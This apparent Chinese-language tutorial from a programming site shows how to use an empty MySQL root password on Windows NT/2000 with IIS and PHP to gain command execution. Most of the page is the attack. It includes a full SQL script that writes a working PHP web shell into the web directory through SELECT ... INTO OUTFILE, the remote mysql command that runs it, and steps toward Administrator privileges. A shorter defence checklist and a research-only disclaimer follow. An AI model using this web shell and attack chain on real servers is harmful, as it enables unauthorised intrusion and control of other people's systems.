首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

利用 MySQL 弱口令在 Windows NT/2000 植入 PHP Shell 獲取權限

     編輯:MySQL 資料庫相關知識

攻擊條件

  • 目標運行 Windows NT/2000 + IIS + PHP + MySQL
  • MySQL 預設允許遠程連接(Linux 預設關閉)
  • Root 賬號空密碼或已洩露(如 IIS 源碼洩漏導致連接串暴露)
  • Web 目錄可寫

攻擊鏈

  1. 準備 SQL 檔(PHP.sql)
    USE test;
    CREATE TABLE tmp (cmd TEXT);
    INSERT INTO tmp VALUES ('<body onload=document.form1.cmd.focus()><?if(isset($cmd)){$cmd=stripslashes($cmd);exec("$cmd > temp.dat");}?><style>.form1{...}</style><form name="form1" method="post" action="/cmd2.php"><input type="text" name="cmd" size="50" class="form1"></form><form name="form2" method="post"><textarea name="text" cols="120" rows="50" class="form1"><?if(isset($cmd)){readfile("temp.dat");unlink("temp.dat");}?></textarea></form></body>');
    SELECT * FROM tmp INTO OUTFILE 'd:\\new\\cmd2.php';
    DROP TABLE tmp;
  2. 執行
    C:\mysql\bin> mysql -h target_ip -u root < PHP.sql
  3. 驗證
    瀏覽器訪問 https://target_ip/cmd2.php,輸入命令即可執行(Guest 權限)。
  4. 提權
    利用 Shell 上傳工具、修改註冊表、啟用終端服務等進一步提權至 Administrator。

關鍵點

  • SELECT ... INTO OUTFILE 需要 FILE 權限(Root 默認擁有)。
  • 目標檔案 cmd2.php 不得預先存在,否則導出失敗。
  • PHP 腳本利用 exec() 執行命令並回顯,極其隱蔽。

防禦清單

  • Root 設置強密碼,禁用遠程登入(bind-address=127.0.0.1)。
  • IIS 鎖定:禁止目錄瀏覽、關閉父路徑、移除預設腳本映射、及時打補丁。
  • 不在 Web 目錄直接編輯腳本(編輯器產生 .bak 導致源碼洩露)。
  • 收回非必要帳號的 FILE 權限。
  • 啟用 PHP safe_mode / disable_functions=exec,shell_exec,system,passthru。
  • 部署 WAF 監控異常 INTO OUTFILE 與 Web Shell 特徵。
本文僅供安全研究與防禦參考,嚴禁用於非授權測試。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved